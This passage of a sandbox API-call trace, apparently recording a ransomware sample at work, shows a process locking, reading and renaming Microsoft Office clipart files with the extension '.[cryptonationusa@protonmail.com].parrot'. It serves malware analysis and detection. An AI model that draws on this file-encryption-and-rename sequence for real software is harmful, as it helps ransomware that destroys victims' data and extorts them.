(in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb60, lpOverlapped=0x0) returned 1 [0145.063] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.063] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.063] CloseHandle (hObject=0x288) returned 1 [0145.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.068] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7012, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.068] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.068] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.070] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6efa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6efa, lpOverlapped=0x0) returned 1 [0145.071] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.072] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7012, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.072] CloseHandle (hObject=0x288) returned 1 [0145.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.079] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5998, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.079] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.079] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.080] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.080] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5880, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5880, lpOverlapped=0x0) returned 1 [0145.082] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.082] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5998, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.082] CloseHandle (hObject=0x288) returned 1 [0145.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.086] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4894, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.086] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.086] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.088] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.088] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x477c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x477c, lpOverlapped=0x0) returned 1 [0145.089] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.089] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4894, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.089] CloseHandle (hObject=0x288) returned 1 [0145.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.093] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x648, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.094] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.094] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.095] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.095] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x530, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x530, lpOverlapped=0x0) returned 1 [0145.096] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.096] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x648, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.096] CloseHandle (hObject=0x288) returned 1 [0145.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.100] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.100] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.100] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.102] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.102] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7d14, lpOverlapped=0x0) returned 1 [0145.103] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.105] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.105] CloseHandle (hObject=0x288) returned 1 [0145.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.110] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x764, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.111] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.111] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.117] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.117] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x64c, lpOverlapped=0x0) returned 1 [0145.118] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.118] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x764, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.118] CloseHandle (hObject=0x288) returned 1 [0145.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.123] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7770, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.123] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.123] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.125] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.125] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7658, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7658, lpOverlapped=0x0) returned 1 [0145.127] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.128] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7770, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.129] CloseHandle (hObject=0x288) returned 1 [0145.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.134] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2510, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.134] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.134] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.151] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.151] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23f8, lpOverlapped=0x0) returned 1 [0145.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.153] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2510, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.153] CloseHandle (hObject=0x288) returned 1 [0145.153] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.157] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.157] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.157] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.159] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.159] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x788, lpOverlapped=0x0) returned 1 [0145.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.160] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.160] CloseHandle (hObject=0x288) returned 1 [0145.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.166] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcbc, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.167] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.167] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.168] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.168] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xba4, lpOverlapped=0x0) returned 1 [0145.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.169] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcbc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.169] CloseHandle (hObject=0x288) returned 1 [0145.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.174] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62c, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.175] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.176] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.176] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x514, lpOverlapped=0x0) returned 1 [0145.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.177] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.177] CloseHandle (hObject=0x288) returned 1 [0145.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.181] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x720, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.181] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.181] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.183] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x608, lpOverlapped=0x0) returned 1 [0145.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.183] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x720, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.183] CloseHandle (hObject=0x288) returned 1 [0145.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.187] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe70, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.187] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.227] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.227] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd58, lpOverlapped=0x0) returned 1 [0145.228] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.228] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.228] CloseHandle (hObject=0x288) returned 1 [0145.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.233] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3328, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.234] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.234] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.235] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3210, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3210, lpOverlapped=0x0) returned 1 [0145.237] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.237] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3328, nNumberOfBytesToUnlockHigh=0x0) returned 1 